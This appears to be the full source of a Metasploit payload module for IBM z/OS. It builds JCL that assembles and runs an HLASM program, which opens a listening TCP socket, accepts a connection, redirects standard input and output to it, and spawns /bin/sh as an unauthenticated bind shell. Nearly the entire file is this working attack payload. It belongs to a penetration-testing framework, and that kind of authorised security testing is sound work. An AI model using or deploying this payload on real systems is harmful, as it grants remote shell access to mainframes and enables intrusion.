1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
# This payload has no ebcdic<->ascii translator built in.
5
# Therefore it must use a shell which does, like mainframe_shell
6
#
7
# this payload will spawn a bind shell from z/os, when submitted
8
#  on the system as JCL to JES2
9
##
10

11
module MetasploitModule
12
  CachedSize = 10712
13

14
  include Msf::Payload::Single
15
  include Msf::Payload::Mainframe
16
  include Msf::Sessions::CommandShellOptions
17

18
  def initialize(info = {})
19
    super(
20
      merge_info(
21
        info,
22
        'Name' => 'Z/OS (MVS) Command Shell, Bind TCP',
23
        'Description' => %q{
24
          Provide JCL which creates a bind shell
25
          This implementation does not include ebcdic character translation,
26
          so a client with translation capabilities is required.  MSF handles
27
          this automatically.
28
        },
29
        'Author' => 'Bigendian Smalls',
30
        'License' => MSF_LICENSE,
31
        'Platform' => 'mainframe',
32
        'Arch' => ARCH_CMD,
33
        'Handler' => Msf::Handler::BindTcp,
34
        'Session' => Msf::Sessions::MainframeShell,
35
        'PayloadType' => 'cmd',
36
        'RequiredCmd' => 'jcl',
37
        'Payload' => {
38
          'Offsets' => {},
39
          'Payload' => ''
40
        }
41
      )
42
    )
43
    register_options(
44
      [
45
        # need these defaulted so we can manipulate them in command_string
46
        Opt::LHOST('0.0.0.0'),
47
        Opt::LPORT(32700),
48
        OptString.new('ACTNUM', [true, 'Accounting info for JCL JOB card', 'MSFUSER-ACCTING-INFO']),
49
        OptString.new('PGMNAME', [true, 'Programmer name for JCL JOB card', 'programmer name']),
50
        OptString.new('JCLASS', [true, 'Job Class for JCL JOB card', 'A']),
51
        OptString.new('NOTIFY', [false, 'Notify User for JCL JOB card', '']),
52
        OptString.new('MSGCLASS', [true, 'Message Class for JCL JOB card', 'Z']),
53
        OptString.new('MSGLEVEL', [true, 'Message Level for JCL JOB card', '(0,0)'])
54
      ], self.class
55
    )
56
    register_advanced_options(
57
      [
58
        OptBool.new('NTFYUSR', [true, 'Include NOTIFY Parm?', false]),
59
        OptString.new('JOBNAME', [true, 'Job name for JCL JOB card', 'DUMMY'])
60
      ],
61
      self.class
62
    )
63
  end
64

65
  ##
66
  # Construct Payload
67
  ##
68
  def generate(_opts = {})
69
    super + command_string
70
  end
71

72
  ##
73
  # Setup replacement vars and populate payload
74
  ##
75
  def command_string
76
    if (datastore['JOBNAME'] == 'DUMMY') && !datastore['FTPUSER'].nil?
77
      datastore['JOBNAME'] = (datastore['FTPUSER'] + '1').strip.upcase
78
    end
79
    lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
80
    lhost = lhost.unpack('H*')[0]
81
    lport = datastore['LPORT']
82
    lport = lport.to_s.to_i.to_s(16).rjust(4, '0')
83

84
    jcl_jobcard +
85
      "//**************************************/\n" \
86
      "//*  SPAWN BIND SHELL FOR MSF MODULE   */\n" \
87
      "//**************************************/\n" \
88
      "//*\n" \
89
      "//STEP1      EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \
90
      "//L.SYSLIB   DD  DSN=SYS1.CSSLIB,DISP=SHR\n" \
91
      "//C.SYSIN    DD  *,DLM=ZZ\n" \
92
      "         TITLE  'Spawns Bind Shell'\n" \
93
      "SPAWNBND CSECT\n" \
94
      "SPAWNBND AMODE 31\n" \
95
      "SPAWNBND RMODE ANY\n" \
96
      "***********************************************************************\n" \
97
      "*        @SETUP registers and save areas                              *\n" \
98
      "***********************************************************************\n" \
99
      "         USING *,15\n" \
100
      "@SETUP0  B     @SETUP1\n" \
101
      "         DROP  15\n" \
102
      "         DS    0H                 # half word boundary\n" \
103
      "@SETUP1  STM   14,12,12(13)       # save our registers\n" \
104
      "         LR    2,13               # callers sa\n" \
105
      "         LR    8,15               # pgm base in R8\n" \
106
      "         USING @SETUP0,8          # R8 for base addressability\n" \
107
      "*************************************\n" \
108
      "* set up data area / addressability *\n" \
109
      "*************************************\n" \
110
      "         L     0,@DYNSIZE         # len of variable area\n" \
111
      "         GETMAIN RU,LV=(0)        # get data stg, len R0\n" \
112
      "         LR    13,1               # data address\n" \
113
      "         USING @DATA,13           # addressability for data area\n" \
114
      "         ST    2,@BACK            # store callers sa address\n" \
115
      "         ST    13,8(,2)           # store our data addr\n" \
116
      "         DS    0H                 # halfword boundaries\n" \
117
      "\n" \
118
      "***********************************************************************\n" \
119
      "*        BPX1SOC set up socket - inline                               *\n" \
120
      "***********************************************************************\n" \
121
      "         CALL  BPX1SOC,                                                X\n" \
122
      "               (DOM,TYPE,PROTO,DIM,SRVFD,                              X\n" \
123
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
124
      "*******************************\n" \
125
      "*  chk return code, 0 or exit *\n" \
126
      "*******************************\n" \
127
      "         LHI   15,2\n" \
128
      "         L     6,RTN_VAL\n" \
129
      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
130
      "\n" \
131
      "***********************************************************************\n" \
132
      "*        BPX1BND (bind) bind to local socket - inline                 *\n" \
133
      "***********************************************************************\n" \
134
      "         XC    SOCKADDR(16),SOCKADDR        # zero sock addr struct\n" \
135
      "         MVI   SOCK_FAMILY,AF_INET          # family inet\n" \
136
      "         MVI   SOCK_LEN,SOCK#LEN            # len of socket\n" \
137
      "         MVC   SOCK_SIN_PORT,CONNSOCK       # port to bind to\n" \
138
      "         MVC   SOCK_SIN_ADDR,CONNADDR       # address to bind to\n" \
139
      "         CALL  BPX1BND,                                                X\n" \
140
      "               (SRVFD,SOCKLEN,SOCKADDR,                                X\n" \
141
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
142
      "*******************************\n" \
143
      "*  chk return code, 0 or exit *\n" \
144
      "*******************************\n" \
145
      "         LHI   15,3\n" \
146
      "         L     6,RTN_VAL\n" \
147
      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
148
      "\n" \
149
      "***********************************************************************\n" \
150
      "*        BPX1LSN (listen) listen on local socket - inline             *\n" \
151
      "***********************************************************************\n" \
152
      "         CALL  BPX1LSN,                                                X\n" \
153
      "               (SRVFD,BACKLOG,                                         X\n" \
154
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
155
      "*******************************\n" \
156
      "*  chk return code, 0 or exit *\n" \
157
      "*******************************\n" \
158
      "         LHI   15,4\n" \
159
      "         L     6,RTN_VAL\n" \
160
      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
161
      "\n" \
162
      "***********************************************************************\n" \
163
      "*        BPX1ACP (accept) accept socket connection - inline           *\n" \
164
      "***********************************************************************\n" \
165
      "         XC    SOCKADDR(16),SOCKADDR        # zero sock addr struct\n" \
166
      "         MVI   SOCK_FAMILY,AF_INET          # family inet\n" \
167
      "         MVI   SOCK_LEN,SOCK#LEN            # len of socket\n" \
168
      "         CALL  BPX1ACP,                                                X\n" \
169
      "               (SRVFD,CLILEN,CLISKT,                                   X\n" \
170
      "               CLIFD,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
171
      "*******************************\n" \
172
      "*  chk return code, 0 or exit *\n" \
173
      "*******************************\n" \
174
      "         LHI   15,5\n" \
175
      "         L     6,RTN_VAL\n" \
176
      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
177
      "\n" \
178
      "*************************************************\n" \
179
      "* order of things to prep child pid             *\n" \
180
      "*  0) Dupe all 3 file desc of CLIFD             *\n" \
181
      "*  1) Dupe parent read fd to std input          *\n" \
182
      "*************************************************\n" \
183
      "*******************\n" \
184
      "*****  STDIN  *****\n" \
185
      "*******************\n" \
186
      "         CALL  BPX1FCT,                                                X\n" \
187
      "               (CLIFD,                                                 X\n" \
188
      "               =A(F_DUPFD2),                                           X\n" \
189
      "               =A(F_STDI),                                             X\n" \
190
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
191
      "****************************************************\n" \
192
      "*  chk return code here anything but -1 is ok      *\n" \
193
      "****************************************************\n" \
194
      "         LHI   15,6               # exit code for this func\n" \
195
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
196
      "         CIB   7,-1,8,EXITP       # r6 = -1 exit\n" \
197
      "\n" \
198
      "*******************\n" \
199
      "*****  STDOUT *****\n" \
200
      "*******************\n" \
201
      "         CALL  BPX1FCT,                                                X\n" \
202
      "               (CLIFD,                                                 X\n" \
203
      "               =A(F_DUPFD2),                                           X\n" \
204
      "               =A(F_STDO),                                             X\n" \
205
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
206
      "****************************************************\n" \
207
      "*  chk return code here anything but -1 is ok      *\n" \
208
      "****************************************************\n" \
209
      "         LHI   15,7               # exit code for this func\n" \
210
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
211
      "         CIB   7,-1,8,EXITP       # r6 = -1 exit\n" \
212
      "\n" \
213
      "*******************\n" \
214
      "*****  STDERR *****\n" \
215
      "*******************\n" \
216
      "         CALL  BPX1FCT,                                                X\n" \
217
      "               (CLIFD,                                                 X\n" \
218
      "               =A(F_DUPFD2),                                           X\n" \
219
      "               =A(F_STDE),                                             X\n" \
220
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
221
      "****************************************************\n" \
222
      "*  chk return code here anything but -1 is ok      *\n" \
223
      "****************************************************\n" \
224
      "         LHI   15,8               # exit code for this func\n" \
225
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
226
      "         CIB   7,-1,8,EXITP       # r7 = -1 exit\n" \
227
      "\n" \
228
      "***********************************************************************\n" \
229
      "*        BP1SPN (SPAWN) execute shell '/bin/sh'                       *\n" \
230
      "***********************************************************************\n" \
231
      "         XC    INHE(INHE#LENGTH),INHE   # clear inhe structure\n" \
232
      "         XI    INHEFLAGS0,INHESETPGROUP\n" \
233
      "         SPACE ,\n" \
234
      "         MVC   INHEEYE,=C'INHE'\n" \
235
      "         LH    0,TLEN\n" \
236
      "         STH   0,INHELENGTH\n" \
237
      "         LH    0,TVER\n" \
238
      "         STH   0,INHEVERSION\n" \
239
      "         CALL  BPX1SPN,                                                X\n" \
240
      "               (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL,     X\n" \
241
      "               EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL,        X\n" \
242
      "               RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
243
      "         LHI   15,9               # exit code for this func\n" \
244
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
245
      "         L     6,RTN_COD\n" \
246
      "         L     5,RSN_COD\n" \
247
      "         CIB   7,-1,8,EXITP       # r7 = -1 exit\n" \
248
      "\n" \
249
      "****************************************************\n" \
250
      "* cleanup & exit preload R15 with exit code        *\n" \
251
      "****************************************************\n" \
252
      "         XR    15,15              # 4 FOR rc\n" \
253
      "EXITP    L     0,@DYNSIZE\n" \
254
      "         LR    1,13\n" \
255
      "         L     13,@BACK\n" \
256
      "         DROP  13\n" \
257
      "         FREEMAIN RU,LV=(0),A=(1) #free storage\n" \
258
      "         XR    15,15\n" \
259
      "         L     14,12(,13)         # load R14\n" \
260
      "         LM    0,12,20(13)        # load 0-12\n" \
261
      "         BSM   0,14               # branch to caller\n" \
262
      "\n" \
263
      "****************************************************\n" \
264
      "* Constants and Variables                          *\n" \
265
      "****************************************************\n" \
266
      "         DS    0F                 # constants full word boundary\n" \
267
      "F_STDI   EQU   0\n" \
268
      "F_STDO   EQU   1\n" \
269
      "F_STDE   EQU   2\n" \
270
      "*************************\n" \
271
      "* Socket conn variables *         # functions used by pgm\n" \
272
      "*************************\n" \
273
      "CONNSOCK DC    XL2'#{lport}'      # LPORT\n" \
274
      "CONNADDR DC    XL4'#{lhost}'      # LHOST\n" \
275
      "BACKLOG  DC    F'1'               # 1 byte backlog\n" \
276
      "DOM      DC    A(AF_INET)         # AF_INET = 2\n" \
277
      "TYPE     DC    A(SOCK#_STREAM)    # stream = 1\n" \
278
      "PROTO    DC    A(IPPROTO_IP)      # ip = 0\n" \
279
      "DIM      DC    A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \
280
      "SOCKLEN  DC    A(SOCK#LEN+SOCK_SIN#LEN)\n" \
281
      "CLILEN   DC    F'0'               # client sock len - don't care\n" \
282
      "CLISKT   DC    X'00'              # client socket struck - don't care\n" \
283
      "************************\n" \
284
      "* BPX1SPN vars *********\n" \
285
      "************************\n" \
286
      "EXCMD    DC    CL7'/bin/sh'       # command to exec\n" \
287
      "EXCMDL   DC    A(L'EXCMD)         # len of cmd to exec\n" \
288
      "EXARGC   DC    F'1'               # num of arguments\n" \
289
      "EXARG1   DC    CL2'sh'            # arg 1 to exec\n" \
290
      "EXARG1L  DC    A(L'EXARG1)        # len of arg1\n" \
291
      "EXARGL   DC    A(EXARG1)          # addr of argument list\n" \
292
      "EXARGLL  DC    A(EXARG1L)         # addr of arg len list\n" \
293
      "EXENVC   DC    F'0'               # env var count\n" \
294
      "EXENVL   DC    F'0'               # env var arg list addr\n" \
295
      "EXENVLL  DC    F'0'               # env var arg len addr\n" \
296
      "FDCNT    DC    F'0'               # field count s/b 0\n" \
297
      "FDLST    DC    F'0'               # field list addr s/b 0\n" \
298
      "TVER     DC    AL2(INHE#VER)\n" \
299
      "TLEN     DC    AL2(INHE#LENGTH)\n" \
300
      "         SPACE ,\n" \
301
      "@DYNSIZE DC    A(@ENDYN-@DATA)\n" \
302
      "***************************\n" \
303
      "***** end of constants ****\n" \
304
      "***************************\n" \
305
      "@DATA    DSECT ,\n" \
306
      "         DS    0D\n" \
307
      "PLIST    DS    16A\n" \
308
      "RTN_VAL  DS    F                  # return value\n" \
309
      "RTN_COD  DS    F                  # return code\n" \
310
      "RSN_COD  DS    F                  # reason code\n" \
311
      "CLIFD    DS    F                  # client fd\n" \
312
      "SRVFD    DS    F                  # server fd\n" \
313
      "@BACK    DS    A\n" \
314
      "*\n" \
315
      "         BPXYSOCK   LIST=NO,DSECT=NO\n" \
316
      "         BPXYFCTL   LIST=NO,DSECT=NO\n" \
317
      "         BPXYINHE   LIST=NO,DSECT=NO\n" \
318
      "@ENDYN   EQU   *\n" \
319
      "@DATA#LEN EQU  *-@DATA\n" \
320
      "         BPXYCONS   LIST=YES\n" \
321
      "         END   SPAWNBND\n" \
322
      "ZZ\n" \
323
      "//*\n"
324
  end
325
end
326

327